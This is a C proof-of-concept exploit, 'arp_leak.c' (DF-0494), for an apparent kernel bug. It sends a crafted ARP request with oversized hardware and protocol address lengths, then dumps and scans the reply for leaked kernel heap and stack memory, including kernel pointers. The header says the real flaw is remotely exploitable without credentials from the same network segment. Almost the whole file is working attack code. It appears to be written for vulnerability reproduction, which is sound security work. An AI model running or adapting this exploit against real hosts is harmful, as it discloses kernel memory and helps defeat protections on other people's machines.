DF-0494 / arp_leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 | /* * DF-0494 - Remote unauthenticated kernel heap+stack memory disclosure * via ARP reply using attacker-controlled ar_hln/ar_pln. * * Trigger: send a crafted ARP REQUEST with oversized ar_hln (and/or ar_pln) * to a victim on the same L2 segment. The victim kernel's in_arpreply() * (sys/netinet/if_ether.c) uses ar_hln/ar_pln as memcpy() lengths when * copying from a 6-byte source (IF_LLADDR, the interface MAC) and a 4-byte * source (&taddr, a stack in_addr_t), over-reading adjacent kernel heap / * stack bytes into the ARP reply mbuf, which it then transmits to us. * * THREAT MODEL / REPRO HARNNESS * ----------------------------- * The real bug is remotely exploitable by any host sharing L2 with the * victim -- it just sends one raw Ethernet/ARP frame and reads the reply. * No credentials, no session. Locally we cannot reach the victim's RX path * through QEMU's user-mode (slirp) network, so we simulate "the wire" with a * tap(4) interface that the victim kernel owns (tap0 has a private IP). * Writing a frame to /dev/tap0 == a frame arriving on the wire (ingress -> * tap if_input -> ether_input -> arpintr). Reading /dev/tap0 == a frame the * kernel emitted (egress). This faithfully reproduces the remote attacker: * the kernel processes our crafted ARP exactly as it would a real one. * * The local root requirement is ONLY for creating tap0 + opening the char * device -- it is a property of the test harness, not of the vulnerability * (a real remote attacker needs no privilege at all). * * Build: cc -O2 -o arp_leak arp_leak.c * Setup: ifconfig tap0 create up inet 10.99.99.1 netmask 255.255.255.0 * Run: ./arp_leak [ar_hln=200] [ar_pln=200] */ #include <sys/types.h> #include <sys/select.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <netinet/in.h> #include <arpa/inet.h> #include <net/ethernet.h> #include <net/if_arp.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define TAPDEV "/dev/tap0" #define VICTIM_IP "10.99.99.1" /* assigned to tap0 by the setup script */ #define ATTACKER_IP "10.99.99.2" /* any IP != victim IP */ static const unsigned char attacker_mac[6] = {0x02,0x00,0xde,0xad,0xbe,0xef}; static const unsigned char bcast_mac[6] = {0xff,0xff,0xff,0xff,0xff,0xff}; static void hexdump(const char *label, const unsigned char *p, int n, int legit) { printf("---- %s (%d bytes; bytes [%d..%d] are the OOB leak) ----\n", label, n, legit, n-1); for (int i = 0; i < n; i += 16) { printf(" %04x: ", i); for (int j = 0; j < 16 && i + j < n; j++) printf("%02x ", p[i + j]); printf(" |"); for (int j = 0; j < 16 && i + j < n; j++) { unsigned char c = p[i + j]; putchar((c >= 32 && c < 127) ? c : '.'); } printf("|\n"); } } static void scan_kptr(const char *tag, const unsigned char *p, int n, int skip) { int found = 0; /* 8-byte aligned scan for canonical kernel addresses (0xffff8000_00000000 and above on x86-64 kernel space). Also flag any 0xffffffff80???????). */ for (int i = skip; i + 8 <= n; i++) { unsigned long v; memcpy(&v, p + i, 8); if ((v & 0xffff000000000000UL) == 0xffff000000000000UL && v != 0xffffffffffffffffUL) { printf(" %s +%3d (abs %3d): 0x%016lx\n", tag, i - skip, i, v); found++; i += 7; } } if (!found) printf(" %s : (no canonical kernel pointer pattern in leak)\n", tag); } int main(int argc, char **argv) { int hln = (argc > 1) ? atoi(argv[1]) : 200; int pln = (argc > 2) ? atoi(argv[2]) : 200; if (hln <= 0 || hln > 255 || pln <= 0 || pln > 255) errx(1, "hln/pln must be 1..255"); int fd = open(TAPDEV, O_RDWR); if (fd < 0) err(1, "open %s", TAPDEV); /* non-blocking so we can drain stray frames (IPv6 ND, etc.) and poll. */ int fl = fcntl(fd, F_GETFL, 0); if (fl < 0 || fcntl(fd, F_SETFL, fl | O_NONBLOCK) < 0) err(1, "fcntl O_NONBLOCK"); int arplen = 8 + 2 * hln + 2 * pln; /* arphdr_len(ar) */ int framelen = 14 + arplen; if (framelen > 1500) errx(1, "frame %d bytes exceeds tap0 mtu 1500", framelen); unsigned char *frame = calloc(1, framelen); if (!frame) err(1, "calloc"); /* --- Ethernet header --- */ memcpy(frame + 0, bcast_mac, 6); /* broadcast ARP REQUEST */ memcpy(frame + 6, attacker_mac, 6); /* attacker's (forged) source MAC */ frame[12] = 0x08; frame[13] = 0x06; /* ETHERTYPE_ARP */ /* --- ARP body --- */ unsigned char *arp = frame + 14; arp[0] = 0x00; arp[1] = 0x01; /* ar_hrd = ARPHRD_ETHER */ arp[2] = 0x08; arp[3] = 0x00; /* ar_pro = ETHERTYPE_IP */ arp[4] = (unsigned char)hln; /* ar_hln (oversized -> the bug) */ arp[5] = (unsigned char)pln; /* ar_pln (oversized -> the bug) */ arp[6] = 0x00; arp[7] = 0x01; /* ar_op = ARPOP_REQUEST */ /* ar_sha @ offset 8 (hln bytes): attacker MAC, then a recognisable * filler so we can confirm the reply's ar_tha echoes our request. */ memcpy(arp + 8, attacker_mac, 6); for (int i = 6; i < hln; i++) arp[8 + i] = 0xCC; /* ar_spa @ offset 8+hln (pln bytes): attacker IP, then filler */ struct in_addr spa; inet_aton(ATTACKER_IP, &spa); memcpy(arp + 8 + hln, &spa, 4); for (int i = 4; i < pln; i++) arp[8 + hln + i] = 0xDD; /* ar_tha @ offset 8+hln+pln (hln bytes): left as 0x00 */ /* ar_tpa @ offset 8+2*hln+pln (pln bytes): VICTIM IP -- must equal a * local IP on tap0 so in_arpinput() reaches the reply path. */ struct in_addr tpa; inet_aton(VICTIM_IP, &tpa); memcpy(arp + 8 + 2 * hln + pln, &tpa, 4); printf("=== DF-0494 ARP ar_hln/ar_pln OOB-read PoC ===\n"); printf("ar_hln=%d ar_pln=%d arp_body=%d frame=%d victim_ip=%s\n", hln, pln, arplen, framelen, VICTIM_IP); printf("[*] injecting crafted ARP REQUEST via %s (ingress)\n", TAPDEV); /* drain any queued egress frames (IPv6 ND noise, stale replies) */ { unsigned char junk[4096]; int drained = 0; while (read(fd, junk, sizeof(junk)) > 0) drained++; if (drained) printf("[*] drained %d stray egress frame(s) (ipv6 nd/etc.)\n", drained); } ssize_t w = write(fd, frame, framelen); if (w != framelen) err(1, "write returned %zd", w); printf("[+] injected %zd bytes\n", w); /* --- capture the reply (egress on tap0); accept only ARP REPLY --- */ unsigned char rbuf[4096]; ssize_t got = -1; int total_ms = 4000, step_ms = 20; int seen_frames = 0; const char *dbg = getenv("DF_DEBUG"); for (int ms = 0; ms < total_ms && got < 0; ms += step_ms) { fd_set rfds; struct timeval tv; FD_ZERO(&rfds); FD_SET(fd, &rfds); tv.tv_sec = 0; tv.tv_usec = step_ms * 1000; int s = select(fd + 1, &rfds, NULL, NULL, &tv); if (s > 0 && FD_ISSET(fd, &rfds)) { ssize_t n = read(fd, rbuf, sizeof(rbuf)); if (n <= 0) continue; seen_frames++; if (dbg) { unsigned short et = (rbuf[12] << 8) | rbuf[13]; printf("[dbg] frame#%d %zd bytes ether_type=0x%04x dst=%02x:%02x:%02x:%02x:%02x:%02x\n", seen_frames, n, et, rbuf[0],rbuf[1],rbuf[2],rbuf[3],rbuf[4],rbuf[5]); } if (n <= 14 + 8) continue; /* too short, skip */ if (rbuf[12] != 0x08 || rbuf[13] != 0x06) continue; /* not ARP */ unsigned char *a = rbuf + 14; int op = (a[6] << 8) | a[7]; if (dbg) printf("[dbg] ARP ar_op=0x%04x ar_hln=%d ar_pln=%d\n", op, a[4], a[5]); if (op != 2) continue; /* not a REPLY */ got = n; /* this is our reply */ break; } } if (dbg) printf("[dbg] total egress frames seen in window: %d\n", seen_frames); if (got <= 0) { printf("[!] NO REPLY captured (this is the FIXED/patched behaviour)\n"); close(fd); return 2; } printf("[+] captured reply frame: %zd bytes\n", got); if (got < 14 + 8) errx(3, "reply too short (%zd)", got); unsigned char *eh = rbuf; unsigned char *rarp = rbuf + 14; printf("[*] reply ether-dst = %02x:%02x:%02x:%02x:%02x:%02x (== attacker mac)\n", eh[0],eh[1],eh[2],eh[3],eh[4],eh[5]); printf("[*] reply ether-src = %02x:%02x:%02x:%02x:%02x:%02x (== tap0 real mac)\n", eh[6],eh[7],eh[8],eh[9],eh[10],eh[11]); int rop = (rarp[6] << 8) | rarp[7]; int rhln = rarp[4]; int rpln = rarp[5]; printf("[*] reply ar_op=0x%04x (%s) ar_hln=%d ar_pln=%d\n", rop, rop == 2 ? "REPLY" : "NOT-REPLY(!)", rhln, rpln); if (rop != 2) errx(4, "did not get an ARP REPLY"); /* The heap leak lives in the reply's ar_sha field: in_arpreply() does * memcpy(ar_sha(ah), enaddr=IF_LLADDR(ifp), ah->ar_hln). enaddr points * at the 6-byte MAC inside a sockaddr_dl; reading ar_hln bytes walks * past it into adjacent kernel heap. Bytes [0..5] = real MAC; bytes * [6..rhln-1] = OOB heap leak. */ int have_heap = rhln - 6; printf("\n[#####] HEAP LEAK (ar_sha, %d OOB bytes past 6-byte MAC) [#####]\n", have_heap > 0 ? have_heap : 0); hexdump("reply ar_sha region [memcpy(ar_sha, IF_LLADDR, ar_hln)]", rarp + 8, rhln, 6); if (have_heap > 0) { printf(" -- kernel-pointer scan in heap leak --\n"); scan_kptr("heap", rarp + 8, rhln, 6); } /* The stack leak lives in the reply's ar_spa field: in_arpreply() does * memcpy(ar_spa(ah), &taddr, ah->ar_pln). &taddr is a 4-byte in_addr_t * on in_arpreply()'s stack; reading ar_pln bytes walks past it into the * stack frame. Bytes [0..3] = victim IP; bytes [4..rpln-1] = OOB stack. */ int have_stack = rpln - 4; printf("\n[#####] STACK LEAK (ar_spa, %d OOB bytes past 4-byte &taddr) [#####]\n", have_stack > 0 ? have_stack : 0); hexdump("reply ar_spa region [memcpy(ar_spa, &taddr, ar_pln)]", rarp + 8 + rhln, rpln, 4); if (have_stack > 0) { printf(" -- kernel-pointer scan in stack leak --\n"); scan_kptr("stack", rarp + 8 + rhln, rpln, 4); } /* sanity: reply ar_tha should echo our request ar_sha (attacker mac + * 0xCC filler) -- proves the mbuf was reused end-to-end. */ printf("\n[*] reply ar_tha (should echo attacker mac + 0xCC filler):\n "); for (int i = 0; i < rhln && i < 16; i++) printf("%02x ", rarp[8 + rhln + rpln + i]); printf("...\n"); printf("\n[+] DF-0494 REPRODUCED: victim returned %d heap OOB bytes + %d stack OOB bytes\n", have_heap > 0 ? have_heap : 0, have_stack > 0 ? have_stack : 0); close(fd); return 0; } |